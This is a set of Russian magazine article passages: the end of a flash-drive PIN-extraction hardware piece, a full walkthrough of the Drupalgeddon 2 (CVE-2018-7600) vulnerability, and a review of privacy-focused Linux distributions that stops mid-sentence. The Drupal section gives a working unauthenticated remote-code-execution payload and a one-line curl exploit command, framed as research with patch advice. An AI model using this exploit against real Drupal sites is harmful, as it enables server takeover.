уров нем  нап ряжения  для  обхо да  защиты  от  чте ния.  Если  бы  такой  под ход
сра ботал,  мы  бы  смог ли  получать  абсо лют но  точ ные  дан ные  с  флеш ки  —
вмес то  того,  что бы  полагать ся  на  чте ние  кон троль ной  сум мы  с  неточ ными
вре мен ными задер жка ми.

Пос коль ку SROM, веро ятно, счи тыва ет защит ные биты пос редс твом сис‐ 
темно го  вызова ReadBlock, мы мог ли бы  сде лать  то же  самое,  что 
в  бло ге Дмит рия Недос пасова, — пов торную реали зацию ата ки  Кри са  Гер‐ 
лин ски, анон сирован ной на кон ферен ции  .

опи сано

REcon Brussels 2017
Еще  одна  забав ная  вещь,  которую  мож но  было  бы  сде лать,  —  сто чить

с  мик росхе мы  кор пус:  для  сня тия  дам па  SRAM,  выяв ления  недоку мен‐ 
тирован ных сис темных вызовов и уяз вимос тей.

ЗАКЛЮЧЕНИЕ
Итак, защита это го накопи теля оставля ет желать луч шего, потому что для хра‐ 
нения  ПИН‐кода  он  исполь зует  обыч ный  (не  «закален ный»)  мик рокон трол‐ 
лер…  Плюс  я  еще  не  смот рел  (пока),  как  на  этом  девай се  обсто ят  дела
с шиф ровани ем дан ных!

Что мож но посове товать для Aigo? Про ана лизи ровав пару‐трой ку моделей
зашиф рован ных  HDD‐накопи телей,  я  в  2015  году  сде лал 
на SyScan, в которой рас смот рел проб лемы безопас ности нес коль ких внеш‐ 
них  HDD‐накопи телей  и  дал  рекомен дации,  что  в  них  мож но  было  бы  улуч‐ 
шить. :‐)

пре зен тацию

На  это  иссле дова ние  я  пот ратил  два  выход ных  и  нес коль ко  вечеров.
В общей слож ности поряд ка сорока часов. Счи тая с самого начала (ког да я
вскрыл  диск)  и  до  кон ца  (дамп  ПИН‐кода).  В  эти  же  сорок  часов  вклю чено
вре мя, которое я пот ратил, что бы написать эту статью. Очень увле катель ное
было путешес твие.

https://www.linkedin.com/pulse/security-through-silicon-obscurity-ahmed-ismail
http://www.cypress.com/file/123666/download
https://github.com/miracoli/arduino_hssp
https://github.com/trou/arduino_hssp
https://github.com/trou/cypress_psoc_tools
https://www.usenix.org/system/files/conference/woot17/woot17-paper-obermaier.pdf
https://www.arduino.cc/reference/en/language/functions/time/delaymicroseconds/
https://toothless.co/blog/bootloader-bypass-part1/
https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017-Breaking_CRP_on_NXP_LPC_Microcontrollers_slides.pdf
https://syscall.eu/pdf/syscan_2015_rigo_secure_hdd.pdf
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ВЗЛОМ

Вот и нас тал  час вто рого  «Дру пал геддо на»! Это новая вер‐ 
сия наделав шей в свое вре мя мно го шума кри тичес кой уяз‐ 
вимос ти  в  одной  из  самых  популяр ных  CMS.  Най ден ная
брешь  поз воля ет  абсо лют но  любому  незаре гис три рован‐ 
ному поль зовате лю все го одним зап росом выпол нять любые
коман ды на целевой сис теме.

Проб лему обос тря ет то, что под угро зой ока зались все наибо лее акту аль ные
вер сии  при ложе ния  веток  7.х  и  8.х,  вплоть  до  8.5.0.  Слож но  даже  пред ста‐ 
вить, сколь ко потен циаль но уяз вимых целей дос тупно в дан ный момент зло‐ 
умыш ленни кам.

INFO

Уяз вимость  получи ла  иден тифика тор 
 и высочай ший ста тус опас ности.

CVE‐2018‐
7600

Раз работ чики выпус тили   еще 28 мар та 2018 года, одна ко до 12 апре ля
в  паб лике  не  наб людалось  ссы лок  на  работа ющий  PoC  или  деталей  проб‐ 
лемы.  Сто ит  отдать  раз работ чикам  дол жное  за  патч,  который  был  очень
лаконич ным и не давал пря мого отве та на воп рос, в каком мес те сто ит искать
проб лему.

патч

Те перь,  ког да  мас ки  сбро шены,  давай  пос мотрим  на  уяз вимость  и  сам
экс пло ит во всей кра се.

ВОСПРОИЗВОДИМ УЯЗВИМУЮ СИСТЕМУ
Про тес тировать уяз вимость нес ложно. Само при ложе ние очень прос то уста‐ 
нав лива ется,  а  кро ме  того,  у  Drupal  име ется  офи циаль ный  репози торий
на Docker  Hub,  и  раз вернуть  кон тей нер  с  нуж ной  вер сией CMS мож но  бук‐ 
валь но в пару команд.

Раз вернем  сна чала  копию  MySQL,  хотя  мож но  и  без  него,  Drupal  под‐ 
держи вает работу с SQLite.

$ docker run ‐d ‐e MYSQL_USER="drupal" ‐e MYSQL_PASSWORD="Q0b6EF
CVW4" ‐e MYSQL_DATABASE="drupal" ‐‐rm ‐‐name=mysql ‐‐hostname=mysql 
mysql/mysql‐server

Те перь  сам  кон тей нер  с CMS. Я  решил  исполь зовать  пос леднюю  уяз вимую
вер сию — 8.5.0.

$ docker run ‐d ‐‐rm ‐p80:80 ‐p9000:9000 ‐‐link=mysql 
‐‐name=drupalvh ‐‐hostname=drupalvh drupal:8.5.0

Даль ше откры ваем в бра узе ре адрес тво его докера и перехо дим к уста нов ке.

Ус танов ка Drupal 8.5.0

От кидыва емся на спин ку крес ла и ждем завер шения инстал ляции.

Про цесс уста нов ки Drupal 8.5.0

Нас лажда емся готовым к иссле дова нию при ложе нием. Если хочешь возить ся
с отладкой, как я, то мож но уста новить Xdebug. Дела ется это тоже бук валь но
парой команд.

$ pecl install xdebug
$ echo "zend_extension=/usr/local/lib/php/extensions/
no‐debug‐non‐zts‐20170718/xdebug.so" > /usr/local/etc/php/conf.d/
php‐xdebug.ini
$ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/
php‐xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.
d/php‐xdebug.ini

Не забудь поменять  IP‐адрес 192.168.99.1  на  свой. Даль ше перезаг ружа ем
кон фиги Apache.

$ service apache2 reload

В качес тве отладчи ка я исполь зую  .JetBrains PhpStorm

ДЕТАЛИ
Для начала обра тим ся к  , который исправ ляет уяз вимость.пат чу

Ком мит с пат чем уяз вимос ти Drupalgeddon 2

Здо рово,  не  прав да  ли?  Раз работ чики  прос то  добави ли  филь тра цию  всех
отправ ляемых юзе ром дан ных.

И  все же  кое‐какой  свет  на  уяз вимость  это исправ ление может  про лить.
Пос мотрим  на  сам  код  про цеду ры,  которая  отве чает  за  про вер ку.  Дан ные
переда ются в метод  , который вызыва ет  .sanitize stripDangerousValues

/core/lib/Drupal/Core/DrupalKernel.php
545:   public function preHandle(Request $request) {
546:     // Sanitize the request.
547:     $request = RequestSanitizer::sanitize(
548:       $request,
549:       (array) Settings::get(RequestSanitizer::SANITIZE_WHITELIST
, []),

/core/lib/Drupal/Core/Security/RequestSanitizer.php
40:   public static function sanitize(Request $request, $whitelist, $
log_sanitized_keys = FALSE) {
...
44:       $request‐>query‐>replace(static::stripDangerousValues($
request‐>query‐>all(), $whitelist, $get_sanitized_keys));

А  этот  метод,  в  свою  оче редь,  уже  выпол няет  про вер ку  всех  передан ных
парамет ров.  Если  в  них  при сутс тву ют  пус тые,  начина ющиеся  с  сим вола
решет ки или отсутс тву ющие в спис ке раз решен ных, то они отбра сыва ются.

/core/lib/Drupal/Core/Security/RequestSanitizer.php
84:   protected static function stripDangerousValues($input, array $
whitelist, array &$sanitized_keys) {
85:     if (is_array($input)) {
86:       foreach ($input as $key => $value) {
87:         if ($key !== '' && $key[0] === '#' && !in_array($key, $
whitelist, TRUE)) {
88:           unset($input[$key]);
89:           $sanitized_keys[] = $key;
90:         }
91:         else {
92:           $input[$key] = static::stripDangerousValues($input[$key
], $whitelist, $sanitized_keys);
93:         }
94:       }
95:     }
96:     return $input;
97:   }

Что же это за вол шебные парамет ры, которые начина ются с решет ки? А это,
мой  друг,  спе циаль ные  плей схол деры  для  Drupal  Render  API.  Этот  API  был
вве ден с седь мой вер сии CMS и исполь зует ся для прев ращения струк туриро‐ 
ван ных дан ных в готовый HTML.

Дан ные,  нуж ные при соз дании  зап рашива емой стра ницы и отдель ных ее
час тей, хра нят ся в виде осо бых мас сивов до эта па рен дерин га. Это пре дос‐ 
тавля ет  широкие  воз можнос ти  для  изме нения  раз метки  или  самого  содер‐ 
жания стра ницы в любой момент на эта пе заг рузки или пос ле него.

В Render API при сутс тву ет такое понятие, как рен дерные мас сивы (Render‐
able Arrays). Это мас сивы с осо бой струк турой, в которых хра нит ся информа‐ 
ция и то, каким обра зом дан ные нуж но пред ста вить (отренде рить) для поль‐ 
зовате ля. Клю чи с сим волом   — это  как раз атри буты для интер пре тато ра,
который выпол няет кон верта цию.

#

Су щес тву ет  некото рое  количес тво  пре доп ределен ных  типов  этих  атри‐ 
бутов,  нап ример  ,  ,  ,  ,    и  тому  подоб ные.
Боль шинс тво из них опи саны в   по Forms API.

page form html_tag value markup
офи циаль ной докумен тации

В кон тек сте нашей уяз вимос ти инте рес ны атри буты, которые при обра бот‐ 
ке  вызыва ют  .  Нап ример,  к  таким  отно сят ся  ,

,  ,  ,  ,  .
Для демонс тра ции экс пло ита я вос поль зуюсь  . Обра бот ка это‐ 
го эле мен та опи сана в фай ле  .

call_user_func #pre_render
#post_render #access_callback #submit #lazy_builder #validate

#post_render
Renderer.php

/core/lib/Drupal/Core/Render/Renderer.php
500:     if (isset($elements['#post_render'])) {
501:       foreach ($elements['#post_render'] as $callable) {
502:         if (is_string($callable) && strpos($callable, '::') === 
FALSE) {
503:           $callable = $this‐>controllerResolver‐>getControllerFr
omDefinition($callable);
504:         }
505:         $elements['#children'] = call_user_func($callable, $
elements['#children'], $elements);
506:       }
507:     }

Те перь нам нуж но най ти такое мес то, где поль зователь ские дан ные попада ют
в  фун кцию  ,  что бы  внед рить  этот  атри бут  с  нуж ными  парамет рами.
При чем сос редото чить ся сто ит на тех мес тах, которые дос тупны неав торизо‐ 
ван ному поль зовате лю, так как извес тно, что для экс плу ата ции никаких прав
не нуж но.

render

/core/lib/Drupal/Core/Render/Renderer.php
182:   public function render(&$elements, $is_root_call = FALSE) {
...
194:     try {
195:       return $this‐>doRender($elements, $is_root_call);
...
207:   protected function doRender(&$elements, $is_root_call = FALSE)
{

Drupal  огро мен,  и  поиск  таких  мест  может  занять  про дол житель ное  вре мя,
поэто му  не  буду  тебя мучить  (к  тому же  ребята  из    уже  сде лали
всю  работу  за  нас).  Во  вре мя  регис тра ции  нового  поль зовате ля  есть  воз‐ 
можность сра зу же заг рузить ава тар.

Check Point

Фор ма регис тра ции нового поль зовате ля в Drupal 8.5.0

Да вай заг рузим какую‐нибудь кар тинку, пред варитель но пус тив тра фик через
прок си.

Зап рос на заг рузку ава тара поль зовате ля

За  обра бот ку  это го  зап роса  отве чает  метод    клас са
ManagedFile.

uploadAjaxCallback

/core/modules/file/src/Element/ManagedFile.php
172:   public static function uploadAjaxCallback(&$form, FormSt
ateInterface &$form_state, Request $request) {

Об рати вни мание на параметр   в зап росе.element_parents

element_parents=user_picture/widget/0

Он исполь зует ся для даль нейшей обра бот ки.

/core/modules/file/src/Element/ManagedFile.php
174:     $renderer = \Drupal::service('renderer');
175:
176:     $form_parents = explode('/', $request‐>query‐>get('elemen
t_parents'));

Пе редан ные  дан ные  раз бива ются  по  сле шу  и  исполь зуют ся  при  получе нии
дан ных из основной фор мы с помощью  .NestedArray::getValue

/core/modules/file/src/Element/ManagedFile.php
179:     $form = NestedArray::getValue($form, $form_parents);

/core/lib/Drupal/Component/Utility/NestedArray.php
69:   public static function &getValue(array &$array, array $parents,
&$key_exists = NULL) {

70:     $ref = &$array;
71:     foreach ($parents as $parent) {
72:       if (is_array($ref) && (isset($ref[$parent]) || array_
key_exists($parent, $ref))) {
73:         $ref = &$ref[$parent];
74:       }
75:       else {
76:         $key_exists = FALSE;
77:         $null = NULL;
78:         return $null;
79:       }
80:     }
81:     $key_exists = TRUE;
82:     return $ref;
83:   }

А  затем  на  осно ве  получен ных  дан ных  выпол няет ся  рен деринг  получен ного
мас сива.

/core/modules/file/src/Element/ManagedFile.php
193:     $output = $renderer‐>renderRoot($form);

/core/lib/Drupal/Core/Render/Renderer.php
129:   public function renderRoot(&$elements) {
130:     // Disallow calling ::renderRoot() from within another ::
renderRoot() call.
131:     if ($this‐>isRenderingRoot) {
...
138:     $output = $this‐>executeInRenderContext(new RenderContext(),
function () use (&$elements) {

139:       return $this‐>render($elements, TRUE);
140:     });

Те перь давай вос поль зуем ся отладчи ком и про ана лизи руем, что про исхо дит.
Пос тавим пре рыва ние на вызов  .NestedArray::getValue

/core/modules/file/src/Element/ManagedFile.php
176:     $form_parents = explode('/', $request‐>query‐>get('elemen
t_parents'));
...
179:     $form = NestedArray::getValue($form, $form_parents); # вы 
здесь

От ладка метода uploadAjaxCallback пос ле заг рузки ава тара

Мас сив  , получен ный из парамет ра  , слу жит
сво еоб разным  путем  к  нуж ному  эле мен ту  в    для  пос леду юще го  рен‐ 
дерин га. В моем слу чае он выг лядит как 

. Клю чи раз деля ются сле шами, пря мо как в нас тоящих путях Unix.

$form_parents element_parents
$form

$form["user_picture"]["widget"]
[0]

Ник то  тебе  не меша ет  ука зать  свой  путь  до  нуж ного  эле мен та,  оста лось
его  толь ко  най ти.  И  обра ти  вни мание  на  те  поля,  которые  мож но  ввес ти
в фор ме регис тра ции поль зовате ля, а имен но на   и  . Параметр 
филь тру ет поль зователь ские дан ные, а вот   лоялен к таким делам. Поп‐ 
робу ем  переде лать  этот  параметр  в  мас сив  и  передать  в  качес тве  клю ча
стро ку, начина ющуюся с решет ки.

mail name name
mail

Инъ екция атри бута в зна чение парамет ра mail

$form => Array
(  
   ...
   [account] => Array
   (
       [#type] => container
       [#weight] => ‐10
       [mail] => Array
           (
           [#type] => email
           [#title] => Drupal\Core\StringTranslation\TranslatableMar
kup Object
           ...
           [#name] => mail
           [#value] => Array
               (
                   [#test] => 
               )
           ...
           )
   )
)

Те перь, если мы ука жем в   зна чение 
и  пос тавим  пре рыва ние  пос ле  того,  как  отра бота ет  метод 

, получим в резуль тате обновлен ный   с нашими парамет рами.

element_parents account/mail/#value
NestedArray::

getValue $form

Внед рение про изволь ного эле мен та и переназ начение $form

Те перь  вспо мина ем  вол шебный  атри бут    и  дела ем  мас‐ 
сив‐пей лоад  на  его  осно ве.  Сама  фун кция  для  выпол нения  ука зыва ется
в качес тве пер вого эле мен та мас сива.

#post_render

mail[#post_render][] = 'exec'

Даль ше  нуж но  ука зать  парамет ры  для  запус ка.  Пос мотри  на  вызов 
, и уви дишь, что они берут ся из эле мен та  .

cal‐
l_user_func #children

/core/lib/Drupal/Core/Render/Renderer.php
500:     if (isset($elements['#post_render'])) {
501:       foreach ($elements['#post_render'] as $callable) {
...
505:         $elements['#children'] = call_user_func($callable, $
elements['#children'], $elements);

По это му туда их и запишем.

mail[#children] = 'uname ‐a'

Те перь отпра вим получив шуюся фор му.

Все готово для экс плу ата ции RCE

И резуль тат не зас тавит себя ждать! ;‐)

Ус пешно отра ботав ший RCE‐экс пло ит для Drupal 8.5.0

Те перь выкинем все лиш нее из зап роса и офор мим это в виде однос троч ной
коман ды curl.

$ curl ‐s ‐X 'POST' ‐‐data 'mail[%23post_render][]=exec&mail[%23chil
dren]=pwd&form_id=user_register_form' 'http://drupal.vh/user/
register?element_parents=account/mail/%23value&ajax_form=1'

Эле ган тно и прос то!

ВЫВОДЫ
Ну  как  тут  мож но  подыто жить?  Пер вые  зво ноч ки  об  этой  проб леме  проз‐ 
вучали еще в кон це прош лого года, ког да иссле дова тель под ником WhiteWin‐
terWolf опуб ликовал    у  себя  в бло ге о еще одном воз можном сце нарии
экс плу ата ции Drupalgeddon. Напом ню,  что  в  ори гина ле  эта  уяз вимость  поз‐ 
воляла  неав торизо ван ному  поль зовате лю  выпол нить  SQL‐инъ екцию.
WhiteWinterWolf же показал на ее при мере, как ее мож но прев ратить в уда лен‐ 
ное выпол нение  команд при помощи манипу ляции все с  теми же плей схол‐ 
дерами в мас сиве.

пост

Проб лема кри тич на для всех вла дель цев сай тов на Drupal, им сто ит при‐ 
гото вить ся  к  мас совым  ата кам.  Навер няка  зло умыш ленни ки  уже  взя ли
на  воору жение  экс пло ит,  поэто му  в  сроч ном  поряд ке  пишем  пра вила
для WAF’ов и накаты ваем пат чи. Кста ти, если не хочешь обновлять ся, в офи‐ 
циаль ном    раз работ чики  выложи ли  пат чи  для  всех  акту аль ных  веток
про дук та. Хотя я все же нас тоятель но рекомен дую пос тавить пос ледние вер‐ 
сии  CMS.  Для  вет ки  7.x  это  Drupal  7.58,  а  для  8.x —  Drupal  8.5.1.  Там  уяз‐ 
вимость исправ лена.

анон се

Или опять нет?

https://twitter.com/iamsecurity
https://nvd.nist.gov/vuln/detail/CVE-2018-7600
https://www.drupal.org/sa-core-2018-002
https://www.jetbrains.com/phpstorm/
https://github.com/drupal/drupal/commit/19b69fe8af55d8fac34a50563a238911b75f08f7
https://api.drupal.org/api/drupal/developer%21topics%21forms_api_reference.html/7.x
https://www.checkpoint.com/
https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/
https://www.drupal.org/sa-core-2018-002
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ПРИВАТНОСТЬ

Воз можно, ты уже поль зовал ся дис три бути вом Tails или даже
запус каешь  его  ежед невно.  Но  это  не  единс твен ная  опе‐ 
раци онка,  спо соб ная  скрыть  твое  при сутс твие  в  сети
и  помога ющая  обой ти  реги ональ ные  бло киров ки.  В  этой
статье мы изу чим пять  кон курен тов  Tails,  каж дый — со  сво‐ 
ими инте рес ными осо бен ностя ми.

WARNING

Дли тель ная  и  пол ная  ано ним ность  прак тичес ки
недос тижима  на  прак тике.  Более  того,  нас той‐ 
чивые попыт ки ее добить ся гаран тирован но прив‐ 
лекут  к  тебе  вни мание.  Под робнее  см.  про ект
XKeyscore. О нем и его нас ледии в NSA и GCHQ
мож но почитать на onion‐ресур сах.

СОСТАВЛЯЮЩИЕ ПРИВАТНОСТИ
Опыт ный  хакер‐линук соид  самос тоятель но  сде лает  опе раци онку  под  свои
нуж ды, нафар ширу ет ее любимы ми инс тру мен тами и зашиф рует каж дый бит.
Одна ко  это  зай мет  уйму  вре мени,  а  потому  дан ный  спо соб  под ходит  лишь
самым крас ногла зым. Для всех осталь ных есть готовые вари анты, в которых
уже про дума ны тысячи мелочей, соб раны и нас тро ены про верен ные средс тва
защиты при ват ности.

При внеш нем раз нооб разии эти дис три бути вы име ют мно го общих  черт,
пос коль ку  сох ранение  тай ны  лич ной  жиз ни  пос тро ено  на  оди нако вых  под‐ 
ходах.  Обес печение  при ват ности  сос тоит  из  сле дующих  эта пов,  которые
реша ются на локаль ном и сетевом уров не:

га ран тирован ное  уда ление  сле дов  работы  и  любых  уни каль ных  (а  зна‐ 
чит — потен циаль но ком про мети рующих) дан ных, исполь зован ных во вре‐ 
мя сеан са;

•

шиф рование  тех  дан ных,  которые нуж но  сох ранить  (нап ример,  элек трон‐ 
ные  кошель ки,  докумен ты,  ауди ови деоза писи,  про чие  лич ные  фай лы
и кон фиги);

•

сок рытие самого фак та хра нения зашиф рован ных дан ных (метода ми сте‐ 
ганог рафии и их мас киров кой сре ди более замет ных крип токон тей неров,
заведо мо не содер жащих цен ной информа ции);

•

изо ляция при ложе ний и выделе ние некото рых сер висов в отдель ные вир‐ 
туаль ные  машины  (sandbox,  Xen,  VirtualBox  и  дру гие  средс тва  вир туали‐ 
зации)  для  сни жения  веро ятности  деано ними зации  при  зараже нии  тро‐ 
яном;

•

пат чи  ядра  для  уси лен ного  кон тро ля  за  вза имо дей стви ем  про цес сов
и све дения к миниму му рис ка деано ними зации через экс пло иты;

•

средс тва  экс трен ного  завер шения  работы  ОС  с  быс трым  уда лени ем
наибо лее ком про мети рующих дан ных на слу чай угро зы физичес кого изъ‐ 
ятия заг рузоч ного накопи теля;

•

ран няя под мена MAC‐адре са сетевых устрой ств  (обыч но она про исхо дит
еще на эта пе заг рузки);

•

пре дот вра щение рас кры тия IP‐адре са (кон троль сос тояния VPN, anti DNS
leak,  филь тра ция  скрип тов,  исполь зование  цепоч ки  прок си‐сер веров
с высокой ано ним ностью, прок сирова ние тра фика всех при ложе ний через
Tor и т. п.);

•

ре али зация ано ним ных каналов свя зи (чаты, поч та, обмен фай лами);•
об ход  реги ональ ных  бло киро вок  (авто мати чес кая  нас трой ка  исполь‐ 
зования пуб личных DNS‐сер веров, бес плат ных VPN, быс трых прок си, Tor,
I2P, Freenet).

•

Ра зуме ется,  каж дый  кон крет ный  дис три бутив  име ет  свои  огра ниче ния  и  не
пре дос тавля ет все перечис ленные выше инс тру мен ты в одной сбор ке, но это
и не тре бует ся на прак тике. Мно гие пун кты в дан ном спис ке дуб лиру ют фун‐ 
кци ональ ность друг дру га либо вов се вза имоис клю чающи.

INFO

Мы  не  будем  рас суждать  о  челове чес ком  фак‐ 
торе,  который  сво дит  на  нет  надеж ность  любой
сис темы.  Огра ничим ся  тех ничес кими  аспекта ми
и  прос то  напом ним,  что  не  сущес тву ет  средств,
пол ностью  зап реща ющих  людям  совер шать
ошиб ки.

KODACHI
В  прош лом  выпус ке  мы  раз бирали  дис три бути вы  для форен зики,  а  Kodachi
позици они рует ся  как  anti‐forensic‐раз работ ка,  зат рудня ющая  кри мина лис‐ 
тичес кий  ана лиз  тво их  накопи телей  и  опе ратив ной  памяти.  Тех ничес ки
это  еще  один  форк  Debian,  ори енти рован ный  на  при ват ность.  В  чем‐то  он
даже более про думан, чем популяр ный Tails.

Пос ледняя ста биль ная вер сия   была написа на в янва ре прош‐ 
лого года. Опе раци онка родом из Ома на (где с интернет‐цен зурой зна комы
не понас лышке), что добав ляет ей колори та.

Kodachi 3.7

В качес тве сре ды рабоче го сто ла для Kodachi была выб рана Xfce, а общий
интерфейс  опе раци онки  сти лизо ван  под  macOS.  Ста тус  под клю чения  к  Tor
и VPN, а так же боль шинс тво текущих парамет ров заг рузки сис темы выводят ся
в режиме реаль ного вре мени и отоб ража ются пря мо на рабочем сто ле.

Гра фичес кий интерфейс Kodachi

Сре ди  клю чевых  осо бен ностей  Kodachi —  при нуди тель ное  тун нелиро вание
тра фика через Tor и VPN, при чем бес плат ный VPN уже нас тро ен.

За пуск Kodachi VPN

Плюс в Kodachi интегри рова на под дер жка DNScrypt — это про токол и одно‐ 
имен ная  ути лита,  шиф рующая  зап росы  к  сер верам  OpenDNS  метода ми
эллипти чес кой  крип тогра фии.  Она  устра няет  целый  ряд  типич ных  проб лем,
вро де DNS leak и оставле ния сле дов работы в сети на сер верах про вай дера.

Kodachi DNS tools

Дру гое  отли чие  Kodachi  —  интегри рован ный  Multi  Tor  для  быс трой  сме ны
выход ных  узлов  с  выбором  опре делен ной  стра ны  и  PeerGuardian  для  сок‐ 
рытия  сво его  IP‐адре са  в  Р2Р‐сетях  (а  так же  бло киров ки  сетевых  узлов
из длин ного чер ного спис ка).

PeerGuardian

По мимо  PeerGuardian,  в  качес тве  бран дма уэра  исполь зует ся  Uncomplicated
Firewall (uwf) с гра фичес кой обо лоч кой  .guwf

При ложе ния в Kodachi лег ко изо лиро вать при помощи встро енной песоч‐ 
ницы  Firejail  (о  ней мы  уже  ). Осо бен но  рекомен дует ся  делать
это для бра узе ра, поч ты и мес сен дже ра.

рас ска зыва ли

Firejail sandbox

Опе раци онка  плот но  нафар широва на  средс тва ми  крип тогра фии  (TrueCrypt,
VeraCrypt,  KeePass,  GnuPG,  Enigmail,  Seahorse,  GNU  Privacy  Guard  Assistant)
и замета ния сле дов (BleachBit, Nepomuk Cleaner, Nautilus‐wipe).

На бор пре дус танов ленных ути лит

Встро енные сис темные при ложе ния

В  Kodachi  реали зова на  защита  от  ата ки  методом  холод ной  перезаг рузки.
Во  вре мя  cold  boot  attack  мож но  час тично  вос ста новить  дан ные,  недав но
(секун ды назад)  хра нив шиеся в опе ратив ной памяти. Что бы это го избе жать,
Kodachi затира ет опе ратив ную память слу чай ными дан ными при вык лючении
компь юте ра.

Инс тру мен ты  быс тро го  реаги рова ния  соб раны  в  раз деле  .
В нем есть прог раммы затира ния дан ных на дис ке и в опе ратив ной памяти,
переза пус ка сетевых под клю чений, бло киров ки экра на (xtrlock) и даже коман‐ 
да пол ного унич тожения опе раци онки.

Panic  room

На бор парано ика

Kodachi  работа ет  с  USB‐Flash  как  типич ный  Live‐дис три бутив  (что бы
не оставлять сле дов на локаль ном компь юте ре), но при желании ты можешь
запус тить  ее  в  вир туал ке  (если  доверя ешь  основной  ОС).  В  любом  слу чае
по умол чанию ты логинишь ся как поль зователь с име нем   и паролем

.  Что бы  исполь зовать  sudo,  вве ди  username    и  такой  же  пароль

.

kodachi
r@@t00 root
r@@t00

MOFO LINUX
Это быс тро раз вива ющаяся и солид но нафар широван ная ОС на базе Ubuntu.
Пря мо «из короб ки» она пред лага ет SoftEther VPN и OpenVPN с авто мати чес‐ 
ким  опре деле нием  пят надца ти  самых  быс трых  (не  обя затель но  бли жай ших
к тебе) бес плат ных сер веров. Ука зыва ется их пинг до тебя, до сай та google.‐
com и про пус кная спо соб ность канала.

Нас трой ка OpenVPN

По мимо Tor и VPN, MOFO под держи вает I2P плюс Lantern и Psiphon, как шус‐ 
трые прок си. Прав да, сей час Psiphon глю чит, а у Lantern без огра ниче ния ско‐ 
рос ти на бес плат ном тарифе дос тупно толь ко 500 Мбайт в месяц, но всег да
мож но купить плат ный акка унт.

Lantern в MOFO

Пря мо  из  гра фичес кого  меню  в  пару  кли ков  уста нав лива ется  кли ент
Freenet  —  одно ран говой  ано ним ной  сети  с  рас пре делен ным  хра нени ем
зашиф рован ных  дан ных.  В  ней  есть  свои  сай ты  и  форумы,  которые  прак‐ 
тичес ки невоз можно цен зуриро вать.

Freenet

В MOFO добав лена ссыл ка на уста нов ку пакета под дер жки рас пре делен ной
фай ловой сис темы IPFS (Interplanetary File System), соз данной на осно ве тех‐ 
нологий  P2P.  Бла года ря  IPFS  мож но  рас шаривать  локаль ные  фай лы  и  соз‐ 
давать сай ты, которые не исчезнут из‐за бло киро вок (об IPFS мы тоже уже 

). MOFO  так же  под держи вает  сетевой  про токол  .  С  его  помощью
мож но соз дать вир туаль ную IPv6‐сеть с шиф ровани ем тра фика.

пи‐ 
сали Cjdns

Ус танов ка IPFS

Крип тогра фичес кую защиту лич ных дан ных в MOFO обес печива ет   —
мно гоуров невая  фай ловая  сис тема  с  шиф ровани ем  на  лету.  Она  работа ет
поверх  сущес тву ющей ФС  (ext3,  ext4  или  XFS)  и  не  тре бует  соз дания  спе‐ 
циаль ного раз дела.

eCryptfs

Вклю чаем шиф рование

До пол нитель но  в  MOFO  пре дус танов лена  ути лита  ZuluCrypt  с  под дер жкой
фор мата крип токон тей неров TrueCrypt и VeraCrypt.

ZuluCrypt — вари анты зашиф рован ных томов

На  момент  тес тирова ния  была  дос тупна  вер сия    от  18  фев‐ 
раля 2018 года. По умол чанию пароль адми нис тра тора не задан.

mofolinux‐6.0

SUBGRAPH OS
Об  этой  опе раци онке  мы    в  2016  году,  и  с  тех  пор  мало  что  изме‐ 
нилось. Это  все  еще очень  сырой форк Debian,  который однажды  пох валил
Сно уден за идею, но не за реали зацию. Единс твен ное, что в Subgraph замет‐ 
но изме нилось, — это перечень пре дус танов ленно го соф та.

пи сали

Ин тегри рован ные ути литы в Subgraph OS

Пос ледняя  вер сия  сей час  —    2017  года.  Она  может
запус кать ся  в  Live‐режиме,  но  для  пол ноцен ной  работы  пред полага ет  уста‐ 
нов ку на жес ткий диск.

сен тябрь ская  аль фа

Клю чевая  осо бен ность  Subgraph  OS  —  сис тема  запус ка  при ложе ний
в  песоч ницах  . Она  изо лиру ет  выб ранные  при ложе ния  друг  от  дру га  и  от
основной сис темы с помощью прос транств имен и нак ладыва ет огра ниче ния
с помощью seccomp‐bpf, так же как это дела ет уже упо мяну тый Firejail.

Oz

Яд ро  Subgraph OS  соб рано  с  пат чами  PaX/Grsecurity.  Они  огра ничи вают
дос туп к фай лам  ,  при меня ют более жес ткую изо ляцию chroot(),  вклю‐ 
чают  в  себя  более  прод винутую  сис тему  ран домиза ции  адресно го  прос‐ 
транс тва ASLR, помеча ют стек как неис полня емый и кон тро лиру ют выделе ние
сетевых сокетов.

/proc

Subgraph OS уста нав лива ется на зашиф рован ный раз дел, име ет средс тва
для раз решения/зап рета дос тупа при ложе ний к сети, под держи вает аппа рат‐ 
ные клю чи YubiKey с одно разо выми пароля ми.

YubiKey PT в Subgraph OS

Элек трон ная  поч та  защище на  с  помощью  PGP,  а  встро енный  бран дма уэр
мар шру тизи рует все исхо дящие соеди нения через ано ним ную сеть Tor.

Ин тегри рован ный Subgraph OS Instant Messenger — это форк CoyIM с под‐ 
дер жкой XMPP, который так же работа ет через Tor по умол чанию.

Ано ним ный мес сен джер Subgraph OS

Продолжение статьи →
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https://github.com/subgraph/oz/
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ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

Соз дание ано ним ных фай ловых шар дос тупно через OnionShare, но точ но так
же ути лита работа ет и в дру гих вер сиях Linux.

OnionShare в Subgraph OS

На пер вый взгляд может показать ся, что в Subgraph OS все хорошо и это дей‐ 
стви тель но дос той ная ОС, но на самом деле все нам ного слож нее. Во встро‐ 
енной песоч нице запус кают ся толь ко опре делен ные при ложе ния. Есть спи сок
при ложе ний,  которые  авто мати чес ки  попада ют  в  sandbox,  осталь ные,  вклю‐ 
чая  рабочую  сре ду GNOME,  запус кают ся  как  обыч ные  при ложе ния  в  любом
дру гом дис три бути ве Linux.

Та кая  архи тек тура  откры вает  мно жес тво  путей  для  ком про мета ции  ОС.
Нап ример,  Tor  Browser  запус кает ся  в  песоч нице,  но  име ет  пол ный  дос туп
к  катало гу    (для  сох ранения  заг ружен ных фай лов).  Если  в  бра‐ 
узе ре  будет  обна руже на  дыра  и  взлом щик  най дет  спо соб  ее  исполь зовать
для запус ка экс пло ита, он смо жет записать в    все,  что захочет,
вклю чая, нап ример, файл фор мата  . В такой файл мож но помес тить
любой скрипт, и он будет исполнен,  ког да поль зователь перей дет в  каталог

